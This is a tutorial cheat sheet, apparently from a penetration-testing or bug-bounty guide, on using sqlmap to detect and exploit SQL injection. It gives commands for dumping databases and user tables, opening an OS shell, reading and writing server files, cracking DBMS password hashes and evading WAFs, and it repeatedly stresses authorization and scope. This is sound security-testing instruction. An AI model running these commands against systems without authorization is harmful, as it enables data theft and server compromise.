sqlmap

sqlmap automates the detection and exploitation of SQL injection (see web; the Web area covers SQLi in detail). It automatically tries multiple techniques, extracts data, and can even achieve command execution on the DBMS. It’s powerful, but understanding SQLi “by hand” helps you use it well.

Basic use

# from a URL with a parameter
sqlmap -u 'https://host/item?id=1' --batch
# from a request captured in Burp (most reliable: respects cookies/headers)
sqlmap -r request.txt --batch
# specific POST, cookie, header
sqlmap -u host --data='id=1' --cookie='sess=...' -p id

Exploitation flow

sqlmap -r req.txt --dbs             # enumerate databases
sqlmap -r req.txt -D shop --tables  # tables of a DB
sqlmap -r req.txt -D shop -T users --columns
sqlmap -r req.txt -D shop -T users --dump   # dump data (only what's authorized!)
sqlmap -r req.txt --current-user --is-dba   # current user and whether it's DBA

Key options

-p param        parameter to test (or let sqlmap detect them)
--level 1-5     widens where it looks (headers, cookies...) ; --risk 1-3 more aggressive techniques
--technique     B(lind) E(rror) U(nion) S(tacked) T(ime) Q(uery)
--dbms mysql    force the engine if you know it (faster)
--tamper        scripts to evade a WAF (see web-wafbypass) -> carefully
--batch         don't ask (uses defaults)

Beyond extracting data

--os-shell      attempt an OS shell (if the DBMS/privileges allow)
--file-read / --file-write   read/write files on the server
--passwords     dump and crack DBMS user hashes (see tool-hashcat)
# these are HIGH-impact actions -> only with explicit authorization and limiting the harm

Best practices

- passing the Burp request (-r) is more reliable than building the URL by hand
- start gentle (low --level/--risk) and raise if needed; don't mass-scan
- understand SQLi manually (see web) to interpret and guide sqlmap
- in bug bounty: don't dump real users' data -> a minimal PoC (bb-scope)

Blue Team / use

Passing the Burp request (-r) is the most reliable way (respects session/headers).
Raise --level/--risk only if needed; --tamper for a WAF (WAF Bypass) carefully.
High-impact actions (--os-shell, --dump) only authorized and with a minimal PoC (Reading the scope & rules).
Understanding SQLi by hand (Web area) is key to using sqlmap with judgment.

Tips and gotchas

Feed it a real request (-r request.txt from Burp) instead of building the URL by hand; it captures cookies and headers.
Common mistake: jumping straight to --dump everything; start with --dbs/--tables and limit; respect scope and demonstrated impact.
Tune --level/--risk carefully (high risk can modify data); use --technique and --tamper against WAF.
Mark the parameter with * or -p; for APIs/JSON use the right flag and verify manually before trusting it.

Testing checklist

Capture the vulnerable request in Burp and use -r
Detect the injection (technique and engine)
Enumerate dbs/tables/columns progressively
—level/—risk tuned; —tamper if there’s a WAF (carefully)
Minimal PoC: don’t dump real users’ data (Reading the scope & rules)
Consider impact (os-shell/file-read) only if authorized
Document for the report (Writing a good report)